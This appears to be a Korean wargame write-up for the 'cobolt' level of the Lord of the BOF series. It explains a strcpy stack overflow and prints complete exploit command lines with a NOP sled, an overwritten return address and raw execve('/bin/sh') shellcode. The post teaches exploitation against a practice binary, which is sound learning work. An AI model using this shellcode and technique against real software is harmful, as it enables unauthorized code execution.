[cobolt - small buffer]
gremlin : hello bof world
먼저 cobolt.c의 코드는 아래와 같다.
코드를 보면 크기가 16인 버퍼에 strcpy()를 하는 것을 볼 수 있다.
이 때, 버퍼의 크기를 고려하지 않고 복사하기 때문에
20바이트를 덮으면 eip를 바꿀 수 있다.
20바이트에 쉘코드를 담기에는 버퍼가 작기 때문에 eip 뒤쪽에 쉘코드를 넣어 보았다.
따라서 A를 20개 채우고, eip 자리에 우선 B를 넣어둔 뒤
\x90을 100개 정도 쓴 뒤에 쉘코드를 넣었다.
./aaaaaa `python -c 'print "A"*20 + "BBBB" + "\x90"*100 + "\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\xc2\x01\x01\x01\x01\x52\xb9\x2e\x62\x69\x6e\x83\xc1\x01\x51\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
이번에도 eip에 넣을 주소를 찾기 위해 core 파일을 열어 스택 값을 확인하였다.
아래쪽을 보면, A와 B가 차례로 나온 뒤
0x90이 이어지고 그 뒤에 쉘코드가 위치한 것을 볼 수 있다.
0x90 사이의 적당한 곳의 주소인 0xbffffd70으로 eip를 덮었다.
./cobolt `python -c 'print "A"*20 + "\x70\xfd\xff\xbf" + "\x90"*100 + "\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\xc2\x01\x01\x01\x01\x52\xb9\x2e\x62\x69\x6e\x83\xc1\x01\x51\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
'Wargame > The Lord of the BOF' 카테고리의 다른 글
LOB - 04 orc (0) | 2019.02.01 |
---|---|
LOB - 03 goblin (0) | 2019.02.01 |
LOB - 01 gremlin - (3)마무리 (0) | 2019.02.01 |
LOB - 01 gremlin - (2.2)쉘코드 수정 (0) | 2019.02.01 |
LOB - 01 gremlin - (2.1)쉘코드 작성 (0) | 2019.02.01 |
댓글